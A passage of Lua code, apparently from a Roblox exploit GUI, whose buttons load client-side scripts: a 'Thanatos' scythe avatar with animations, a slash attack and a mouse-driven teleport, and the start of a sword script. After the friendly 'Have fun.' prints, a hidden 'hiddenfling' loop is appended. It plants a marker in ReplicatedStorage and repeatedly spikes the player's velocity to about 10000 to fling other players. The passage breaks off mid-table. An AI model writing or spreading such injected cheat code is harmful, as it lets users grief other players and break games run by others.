		local emit = function(parent,tex,startcolor, endcolor, startsize,endsize,lightem,emdir,lif,rate,speed,rotspeed,sprdang1,sprdang2,locked2part)
			emm = it("ParticleEmitter",parent)
			emm.Texture = tex
			emm.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,startcolor),ColorSequenceKeypoint.new(1,endcolor)})
			emm.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,startsize),NumberSequenceKeypoint.new(1,endsize)})
			emm.LightEmission = lightem
			emm.EmissionDirection = emdir
			emm.Lifetime = NumberRange.new(lif)
			emm.Rate = rate
			emm.Speed = NumberRange.new(speed)
			emm.RotSpeed = NumberRange.new(rotspeed)
			emm.SpreadAngle = Vector2.new(sprdang1,sprdang2)
			emm.LockedToPart = locked2part
			return(emm)
		end
	
		function clerp(a,b,t) 
			local qa = {QuaternionFromCFrame(a)}
			local qb = {QuaternionFromCFrame(b)} 
			local ax, ay, az = a.x, a.y, a.z 
			local bx, by, bz = b.x, b.y, b.z
			local _t = 1-t
			return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) 
		end 
	
		function QuaternionFromCFrame(cf) 
			local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() 
			local trace = m00 + m11 + m22 
			if trace > 0 then 
				local s = math.sqrt(1 + trace) 
				local recip = 0.5/s 
				return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 
			else 
				local i = 0 
				if m11 > m00 then
					i = 1
				end
				if m22 > (i == 0 and m00 or m11) then 
					i = 2 
				end 
				if i == 0 then 
					local s = math.sqrt(m00-m11-m22+1) 
					local recip = 0.5/s 
					return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip 
				elseif i == 1 then 
					local s = math.sqrt(m11-m22-m00+1) 
					local recip = 0.5/s 
					return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip 
				elseif i == 2 then 
					local s = math.sqrt(m22-m00-m11+1) 
					local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip 
				end 
			end 
		end
	
		function QuaternionToCFrame(px, py, pz, x, y, z, w) 
			local xs, ys, zs = x + x, y + y, z + z 
			local wx, wy, wz = w*xs, w*ys, w*zs 
			local xx = x*xs 
			local xy = x*ys 
			local xz = x*zs 
			local yy = y*ys 
			local yz = y*zs 
			local zz = z*zs 
			return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) 
		end
	
		function QuaternionSlerp(a, b, t) 
			local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] 
			local startInterp, finishInterp; 
			if cosTheta >= 0.0001 then 
				if (1 - cosTheta) > 0.0001 then 
					local theta = math.acos(cosTheta) 
					local invSinTheta = 1/math.sin(theta) 
					startInterp = math.sin((1-t)*theta)*invSinTheta 
					finishInterp = math.sin(t*theta)*invSinTheta  
				else 
					startInterp = 1-t 
					finishInterp = t 
				end 
			else 
				if (1+cosTheta) > 0.0001 then 
					local theta = math.acos(-cosTheta) 
					local invSinTheta = 1/math.sin(theta) 
					startInterp = math.sin((t-1)*theta)*invSinTheta 
					finishInterp = math.sin(t*theta)*invSinTheta 
				else 
					startInterp = t-1 
					finishInterp = t 
				end 
			end 
			return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp 
		end
	
		local sine = 0
		local change = 1
		local val = 0
	
		mouse=Player:GetMouse()
		RSH, LSH=nil, nil 
		--welds 
		RW, LW=Instance.new("Weld"), Instance.new("Weld") 
		RW.Name="Right Shoulder" LW.Name="Left Shoulder"
		LH=Torso["Left Hip"]
		RH=Torso["Right Hip"]
		TorsoColor=Torso.BrickColor
		function NoOut(Part)
			Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
		end
		player=Player 
		ch=Character
		RSH=ch.Torso["Right Shoulder"] 
		LSH=ch.Torso["Left Shoulder"] 
		-- 
		RSH.Parent=nil 
		LSH.Parent=nil 
		-- 
		RW.Name="Right Shoulder"
		RW.Part0=ch.Torso 
		RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) 
		RW.C1=cf(0, 0.5, 0) 
		RW.Part1=ch["Right Arm"] 
		RW.Parent=ch.Torso 
		-- 
		LW.Name="Left Shoulder"
		LW.Part0=ch.Torso 
		LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) 
		LW.C1=cf(0, 0.5, 0) 
		LW.Part1=ch["Left Arm"] 
		LW.Parent=ch.Torso 
	
	
		function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
			return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) 
		end 
	
		-- Character Model --
	
		local md = Instance.new("Model",char)
		md.Name = "Scythe"
		hnd = part("Handle",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
		hndwld = weld(rarm,hnd,0,0,0,0,0,0)
		fhnd = part("FHandle",md,"Black","Granite",0,0,Vector3.new(2,12.5,2))
		mesh("Sphere",fhnd,"","",Vector3.new(0.1,1,0.1))
		weld(hnd,fhnd,0,3,0,0,0,0)
		p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
		weld(hnd,p,0,2,0,0,0,0)
		p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
		weld(hnd,p,0,4,0,0,0,0)
		p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
		weld(hnd,p,0,6,0,0,0,0)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.25,0.25,0.25))
		mesh("Sphere",p,"","",Vector3.new(1.25,1.25,1.25))
		weld(hnd,p,0,7,0,0,0,0)
		p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.25,1.5,0.25))
		weld(hnd,p,0,8,0,0,0,0)
		p = part("Part",md,"Black","Marble",0,0,Vector3.new(0.2,1.25,1.25))
		mesh("Cylinder",p,"","",Vector3.new(1,1,1))
		weld(hnd,p,0,8,0,0,-45,0)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.25,1.1,1.1))
		mesh("Cylinder",p,"","",Vector3.new(1,1,1))
		weld(hnd,p,0,8,0,0,-45,0)
		bldbs = part("BladeBase",md,"Black","Granite",0,0,Vector3.new(0.5,1,1))
		mesh("Sphere",bldbs,"","",Vector3.new(1,1,1))
		bldw=weld(hnd,bldbs,0,8,0,0,0,0)
		at0 = Instance.new("Attachment",bldbs)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.175,0.5,0.5))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(bldbs,p,0,-0.05,-0.85,0,0,45)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.175,0.5,0.5))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(bldbs,p,0,0.05,-0.85,0,0,-135)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.175,0.1,0.365))
		weld(bldbs,p,0,0,-0.81,0,0,0)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,1.5,1))
		weld(bldbs,p,0,0,-1.5,0,0,0)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
		weld(bldbs,p,0,0.1,-2,0,0,-8.75)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,1.45,1))
		weld(bldbs,p,0,-0.15,-2.55,0,0,-11.25)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
		weld(bldbs,p,0,-0.15,-3,0,0,-17.5)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,1.4,1))
		weld(bldbs,p,0,-0.45,-3.55,0,0,-22.5)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(1.35,1,0.25))
		mesh("Torso",p,"","",Vector3.new(1,1,1))
		weld(bldbs,p,0,-0.95,-4.45,90,-90,-33.75)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
		weld(bldbs,p,0,-0.55,-4.05,0,0,-26.25)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(1.2,1,0.25))
		mesh("Torso",p,"","",Vector3.new(1,1,1))
		weld(bldbs,p,0,-1.6,-5.25,90,-90,-45)
		at1 = Instance.new("Attachment",p)
		scytrl = Instance.new("Trail",bldbs)
		scytrl.Attachment0 = at0
		scytrl.Attachment1 = at1
		scytrl.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,BrickColor.new("Really blue").Color),ColorSequenceKeypoint.new(1,BrickColor.new("Really blue").Color)})
		scytrl.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0.25),NumberSequenceKeypoint.new(1,1)})
		scytrl.Lifetime = 0.25
		scytrl.LightEmission = 0.5
		scytrl.Enabled = false
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,1,0.5))
		weld(bldbs,p,0,-1.25,-4.9,0,0,-37.5)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,0.6,1))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(bldbs,p,0,-2.275,-6.125,0,0,-55)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,0.75,0.25))
		weld(bldbs,p,0,-1.95,-5.7,0,0,-55.5)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,0.5,1))
		weld(bldbs,p,0,-2.575,-5.675,0,0,-55)
		p = part("Part",md,"Really blue","Neon",0,0,Vector3.new(0.2,0.25,0.25))
		weld(bldbs,p,0,-2.95,-6,0,0,-67.5)
		p = part("Part",md,"Black","Ice",0,0,Vector3.new(0.25,0.5,1))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(bldbs,p,0,-3.5,-6.1,0,0,-75)
		hitbox = part("Hitbox",md,"Black","Ice",1,1,Vector3.new(2,4,8))
		weld(bldbs,hitbox,0,-1.25,-3,0,0,0)
		local htp = emit(hitbox,"rbxasset://textures/particles/sparkles_main.dds",BrickColor.new("Really blue").Color,BrickColor.new("Really blue").Color,1,0,1,"Top",1,5000,0.25,0,360,360,false)
		htp.Enabled = false
	
		for i,v in pairs(md:children()) do
			NoOut(v)
		end
	
		for i,v in pairs(char:children()) do
			if v:IsA("Accessory") or v:IsA("Shirt") or v:IsA("Pants") then
				v:Destroy()
			end
		end
	
		Head.face:Destroy()
		faic = it("Decal",Head)
		faic.Texture = "http://www.roblox.com/asset/?id=163204936"
		faic.Face = "Front"
		p = part("Eye1",Head,"Really blue","Neon",0,0,Vector3.new(0.1,0.175,0.05))
		mesh("Sphere",p,"","",Vector3.new(1,1,1))
		weld(Head,p,0.1,0.25,-0.6,0,0,0)
		emit(p,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,0),0.1,0.1,1,"Top",0.5,5000,0.25,200,0,360,true)
		p = part("Eye2",Head,"Really blue","Neon",0,0,Vector3.new(0.1,0.175,0.05))
		mesh("Sphere",p,"","",Vector3.new(1,1,1))
		weld(Head,p,-0.1,0.25,-0.6,0,0,0)
		emit(p,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,0),0.1,0.1,1,"Top",0.5,5000,0.25,200,0,360,true)
	
	
		local md2 = Instance.new("Model",char)
		md2.Name = "Armor"
		p = part("Hood",md2,"Black metallic","Pebble",0,0,Vector3.new(2.2, 2.4, 1.8))
		mesh("FileMesh",p,"http://www.roblox.com/asset/?id=85855767","",Vector3.new(1.1,1.1,1.1))
		weld(Head,p,0,-0.375,0,0,0,0)
		-- Torso Armor
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(2.05,1.26,1.05))
		weld(torso,p,0,-0.375,0,0,0,0)
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.75,0.76,1.05))
		weld(torso,p,0.65,0.625,0,0,0,0)
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(1.025,0.76,0.75))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(torso,p,-0.1,0.625,-0.0075,0,90,0)
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(1.025,0.76,0.75))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(torso,p,0.1,0.625,-0.01,0,-90,0)
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.75,0.76,1.025))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(torso,p,-0.1,0.625,0.0124,0,0,0)
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.75,0.76,1.05))
		weld(torso,p,-0.65,0.625,0,0,0,0)
		-- Pants
		p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(1.01,2.01,1.01))
		weld(rleg,p,0,0.005,0,0,0,0)
		p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(1.01,2.01,1.01))
		weld(lleg,p,0,0.005,0,0,0,0)
		--Gauntlet
		p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(1.01,0.25,1.01))
		weld(larm,p,0,0,0,0,0,0)
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.05,0.75,0.5))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(larm,p,-0.5,0.15,-0.1,0,0,-20.1)
		p = part("Part",md2,"Black metallic","SmoothPlastic",0,0,Vector3.new(0.05,0.75,0.5))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(larm,p,-0.5,0.15,0.1,0,180,20.1)
		p = part("Part",md2,"Black","SmoothPlastic",0,0,Vector3.new(0.5,0.125,0.375))
		mesh("Torso",p,"","",Vector3.new(1,1,1))
		weld(larm,p,-0.325,0.15,0,0,90,0)
		p = part("Part",md2,"Really blue","Neon",0,0,Vector3.new(0.05,0.5,0.25))
		mesh("Wedge",p,"","",Vector3.new(1,1,1))
		weld(larm,p,-0.48,-0.15,-0.055,180,0,17.5)
		p = part("Part",md2,"Really blue","Neon",0,0,Vector3.new(0,0.4,0.125))
		mesh("Sphere",p,"","",Vector3.new(1,1,1))
		weld(larm,p,-0.55,0.075,0,0,0,0)
	
	
	
	
		for i,v in pairs(md2:children()) do
			NoOut(v)
		end
	
		-- Animations --
	
		function Animate()
			while true do
				wait()
				sine = sine + change
				local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude 
				local velderp=RootPart.Velocity.y
				hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
				if equipped==true or equipped==false then
					if attack==false then
						idle=idle+1
					else
						idle=0
					end
					if idle>=500 then
						if attack==false then
						end
					end
					if RootPart.Velocity.y > 1 and hitfloor==nil then 
						Anim="Jump"
						if attack==false then
							hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
							RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-10),math.rad(0),math.rad(0)),.3)
							Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
							RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(20),math.rad(0),math.rad(15)),.3)
							LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(20),math.rad(0),math.rad(-15)),.3)
							LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
						end
					elseif RootPart.Velocity.y < -1 and hitfloor==nil then 
						Anim="Fall"
						if attack==false then
							hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
							RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
							Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-10),math.rad(0),math.rad(0)),.3)
							RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(15),math.rad(0),math.rad(15)),.3)
							LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(-50),math.rad(0),math.rad(-30)),.3)
							LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
						end
					elseif torvel<1 and hitfloor~=nil then
						Anim="Idle"
						if attack==false then
							hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
							bldw.C0=clerp(bldw.C0,BLDWLD,.3)
							RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
							Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(20),math.rad(0),math.rad(17.5)),.3)
							RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(40)),.3)
							LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(10),math.rad(10),math.rad(-10)),.3)
							LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-70),math.rad(-5)),.3)
						end
					elseif torvel>2 and torvel<22 and hitfloor~=nil then
						Anim="Walk"
						if attack==false then
							change=3
							hndwld.C0=clerp(hndwld.C0,HDWLD,.3)
							RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
							Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-10),math.rad(0),math.rad(0)),.3)
							RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(55),math.rad(0),math.rad(45)),.3)
							LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(-20),math.rad(0),math.rad(-15)),.3)
							LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
						end
					elseif torvel>=22 and hitfloor~=nil then
						Anim="Run"
						if attack==false then
						end
					end
				end
			end
		end
	
		delay(0,Animate)
	
		-- Attacks --
	
		function HadesSlice()
			attack = true
			Humanoid.WalkSpeed = 8
			wait()
			for _=0,1,0.1 do
				wait()
				hndwld.C0=clerp(hndwld.C0,HDWLD*angles(math.rad(90),math.rad(-90),math.rad(45)),.3)
				RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-50)),.3)
				Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(20),math.rad(0),math.rad(50)),.3)
				RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(40)),.3)
				LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(120),math.rad(50),math.rad(-70)),.3)
				LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-70),math.rad(-5)),.3)
			end
			wait(0.05)
			htp.Enabled = true	
			scytrl.Enabled = true
			scytrl.Lifetime = 1
			snd("rbxassetid://588693579",0.9)
			snd("rbxassetid://588737825",1)
			for _=0,1,0.1 do
				wait()
				hndwld.C0=clerp(hndwld.C0,HDWLD*angles(math.rad(22.5),math.rad(0),math.rad(180)),.3)
				RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(50)),.3)
				Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(20),math.rad(0),math.rad(-50)),.3)
				RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(60),math.rad(0),math.rad(40)),.3)
				LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(10),math.rad(10),math.rad(-10)),.3)
				LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-70),math.rad(-5)),.3)
			end
			scytrl.Lifetime = 0.25
			scytrl.Enabled = false
			htp.Enabled = false
			wait(0.15)
			attack = false
			Humanoid.WalkSpeed = 16
		end
	
		function Teleport()
			attack = true
			Humanoid.WalkSpeed = 0
			Humanoid.JumpPower = 0
			htp.Enabled = true	
			scytrl.Enabled = true
			scytrl.Lifetime = 1
			licht = Instance.new("PointLight",Torso)
			licht.Brightness = 1000
			licht.Range = 0
			licht.Color = BrickColor.new("Really blue").Color
			fx = Instance.new("Part",char)
			fx.Transparency = 1
			fx.Anchored, fx.CanCollide = true, false
			fx.Position = Torso.Position - Vector3.new(0,2,0)
			fx.Size = Vector3.new(25,1,25)
			game.Debris:AddItem(fx,2)
			fxem = emit(fx,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,1),2.5,0.1,0.875,"Top",1.5,5000,5,200,0,0,false)
			fxem.Enabled = true
			fxem2 = emit(Torso,"rbxasset://textures/particles/sparkles_main.dds",Color3.new(0,0,1),Color3.new(0,0,1),2.5,0.1,1,"Top",1.5,5000,0,200,360,360,false)
			fxem2.Enabled = true
			fxem2.ZOffset = 2
			game.Debris:AddItem(fxem2,3)
			wait()
			for _=0,1,0.1 do
				wait()
				licht.Range = licht.Range + 1
				fx.Rotation = Torso.Rotation + Vector3.new(0,licht.Range*2.5,0)
				hndwld.C0=clerp(hndwld.C0,HDWLD*cf(0,5.75,1.5)*angles(math.rad(-33.75),math.rad(70),math.rad(-22)),.3)
				RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
				Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
				RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(10)),.3)
				LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(math.rad(40),math.rad(0),math.rad(-10)),.3)
				LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
			end
			wait(0.15)
			htp.Enabled = true	
			scytrl.Enabled = false
			scytrl.Lifetime = 0.25
			snd("rbxassetid://588734356",0.9)
			snd("rbxassetid://588737825",1)
			pos = Mouse.Hit.p + Vector3.new(0,2,0)
			char.Torso.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
			scytrl.Lifetime = 0.25
			scytrl.Enabled = false
			htp.Enabled = false
			attack = false
			Humanoid.JumpPower = 50
			Humanoid.WalkSpeed = 16
			fxem.Enabled = false
			licht:Destroy()
			fxem2.Speed = NumberRange.new(10)
			fxem2.Enabled = true
			game.Debris:AddItem(fx,2)
			wait(0.25)
			fxem2.Enabled = false
		end
	
		mouse.KeyDown:connect(function(k)
			k=k:lower()
			if k=="z" and attack == false then
				HadesSlice()
			elseif k=="x" and attack == false then
				Teleport()
			end
		end)
	
		local con = hitbox.Touched:connect(function(hit)
			if attack == true then
				if hit.Parent == nil then
					return
				end
				h = hit.Parent:FindFirstChild("Humanoid")
				for _, v in pairs(hit.Parent:children()) do
					if v:IsA("Humanoid") then
						h = v
					end
				end
				if h ~= nil and hit.Parent.Name ~= Character.Name and hit.Parent:FindFirstChild("Torso") ~= nil then
	
				end
			end
		end)
	
		local con2 = fhnd.Touched:connect(function(hit)
			if attack == true then
				if hit.Parent == nil then
					return
				end
				h = hit.Parent:FindFirstChild("Humanoid")
				for _, v in pairs(hit.Parent:children()) do
					if v:IsA("Humanoid") then
						h = v
					end
				end
				if h ~= nil and hit.Parent.Name ~= Character.Name and hit.Parent:FindFirstChild("Torso") ~= nil then
	
				end
			end
		end)
	
		-- And, one last thing... --
	
		print("Yeox engine loaded.")
		wait()
		print("Script: Thanatos.")
		wait()
		print("Have fun.")
	
		---------------------------------------------------------------------------------
	
		if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
			hiddenfling = true
		else
			hiddenfling = true
			detection = Instance.new("Decal")
			detection.Name = "juisdfj0i32i0eidsuf0iok"
			detection.Parent = game:GetService("ReplicatedStorage")
			local function fling()
				local hrp, c, vel, movel = nil, nil, nil, 0.1
				while true do
					game:GetService("RunService").Heartbeat:Wait()
					if hiddenfling then
						local lp = game.Players.LocalPlayer
						while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
							game:GetService("RunService").Heartbeat:Wait()
							c = lp.Character
							hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
						end
						if hiddenfling then
							vel = hrp.Velocity
							hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
							game:GetService("RunService").RenderStepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel
							end
							game:GetService("RunService").Stepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel + Vector3.new(0, movel, 0)
								movel = movel * -1
							end
						end
					end
				end
			end
	
			fling()
		end
	
	end)
end;
task.spawn(C_85);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_87()
local script = G2L["87"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--[[ put your name where it says yourname -ulti55 ]]
		Plrs = game:GetService("Players")
	
	
	
		me = Plrs.LocalPlayer
	
		char = me.Character
	
	
	
		Modelname = "xWep"
	
		Toolname = "Drage"
	
		Able = true
	
		Selected = false
	
		Deb = true
	
		Hurt = false
	
		CritMultiplier = 1.6
	
		ComboOn = false
	
		AbleToBreak = false
	
		CounterKey = false
	
		Attack = 1
	
		AddDamage = 0
	
		AddDamageX = 1
	
		AddShield = 0
	
		Dmgs = {Smash = {"Smash", 25, 2, 3, false}, Slash = {"Slash", 18, 1, 3, false}, SideSlash = {"SideSlash", 18, 1, 3, false},
	
			DoubleSlash = {"Double Slash", 20, 1, 2, false}, Spin = {"Spin Slash", 30, 2, 5, true, 30}, Boom = {"Boom", 60, 6, 6, true, 50, 16},
	
			RageMode = {"RAGE", 8, 1.35, 1, 50}, Counter = {"Counter", 25, 1, 1, true, 15}, RageSlash = {"Rage Slash", 40, 3, 7, true, 30}}
	
		RageMode = false
	
		Mode = Dmgs.Slash
	
		AbleAll = true
	
		necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) 
	
		Aim = false
	
	
	
		LineColor = "White"
	
		EffectColor3 = "Bright red"
	
		EffectColor2 = "White"
	
		EffectColor = "Pastel Blue"
	
		MainColor = "Navy blue"
	
		BladeColor = "Pastel Blue"
	
	
	
		BlockBars = {}
	
	
	
		MaxRage = 100
	
		Rage = MaxRage
	
	
	
		CritChance = 5 --Percent
	
	
	
		for _, v in pairs(char:children()) do
	
			if v.Name == "Block" then v:remove() end
	
		end
	
	
	
		BlockRealPowa = 4
	
	
	
		Block = Instance.new("BoolValue")
	
		Block.Name = "Block"
	
		Block.Value = false
	
		BlockPower = Instance.new("IntValue")
	
		BlockPower.Name = "BlockPower"
	
		BlockPower.Value = BlockRealPowa
	
		BlockPower.Parent = Block
	
		Block.Parent = char
	
	
	
		CA = CFrame.Angles
	
		CN = CFrame.new
	
		MR = math.rad
	
		MP = math.pi
	
		MD = math.deg
	
		MH = math.huge
	
		MRA = math.random
	
	
	
		EffPos = CFrame.new(0, 0.5, 0)
	
	
	
		Sounds = {
	
			Equip = {"rbxasset://sounds//unsheath.wav", 0.7, 0.6},
	
			Hit = {"http://www.roblox.com/asset/?id=2801263", 0.9, 0.6},
	
			Block = {"", 1, 0.5},
	
			Slash = {"rbxasset://sounds//swordslash.wav", 2, 0.8},
	
			SmashHit = {"rbxasset://sounds\\metal.ogg", 1.5, 0.8},
	
			Jump = {"rbxasset://sounds/swoosh.wav", 1, 1},
	
			Boom = {"http://www.roblox.com/asset?id=1369158", 1.2, 1},
	
			SmashBoom = {"http://www.roblox.com/asset/?id=2760979", 0.25, 1},
	
			Jump2 = {"http://www.roblox.com/asset/?id=2101148", 2, 1},
	
			GoRage = {"http://www.roblox.com/asset/?id=2767090", 1, 1},
	
			Shout = {"http://www.roblox.com/asset/?id=2676305", 1.1, 0.8},
	
			RageOff = {"http://www.roblox.com/asset/?id=3264793", 1.6, 0.6},
	
		}
	
	
	
		Add = {
	
			Sphere = function(P)
	
				local m = Instance.new("SpecialMesh",P)
	
				m.MeshType = "Sphere"
	
				return m
	
			end,
	
			BP = function(P)
	
				local bp = Instance.new("BodyPosition",P)
	
				bp.maxForce = Vector3.new(MH, MH, MH)
	
				bp.P = 14000
	
				return bp
	
			end,
	
			BG = function(P)
	
				local bg = Instance.new("BodyGyro",P)
	
				bg.maxTorque = Vector3.new(MH, MH, MH)
	
				bg.P = 14000
	
				return bg
	
			end,
	
			Mesh = function(P, ID, x, y, z)
	
				local m = Instance.new("SpecialMesh")
	
				m.MeshId = ID
	
				m.Scale = Vector3.new(x, y, z)
	
				m.Parent = P
	
				return m
	
			end,
	
			Head = function(P)
	
				local s = Instance.new("SpecialMesh")
	
				s.MeshType = "Head"
	
				s.Parent = P
	
				return s
	
			end,
	
			Sound = function(P, ID, vol, pitch)
	
				local s = Instance.new("Sound")
	
				s.SoundId = ID
	
				s.Volume = vol
	
				s.Pitch = pitch
	
				s.Parent = P
	
				return s
	
			end
	
		}
	
	
	
